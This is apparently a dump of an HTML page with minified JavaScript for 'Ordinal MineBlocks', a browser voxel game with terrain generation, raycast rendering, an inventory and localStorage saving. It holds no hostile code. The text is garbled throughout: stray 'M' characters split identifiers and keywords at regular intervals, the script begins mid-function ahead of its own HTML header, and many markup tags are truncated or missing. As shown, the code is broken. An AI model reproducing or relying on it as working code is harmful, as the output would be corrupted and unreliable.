),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
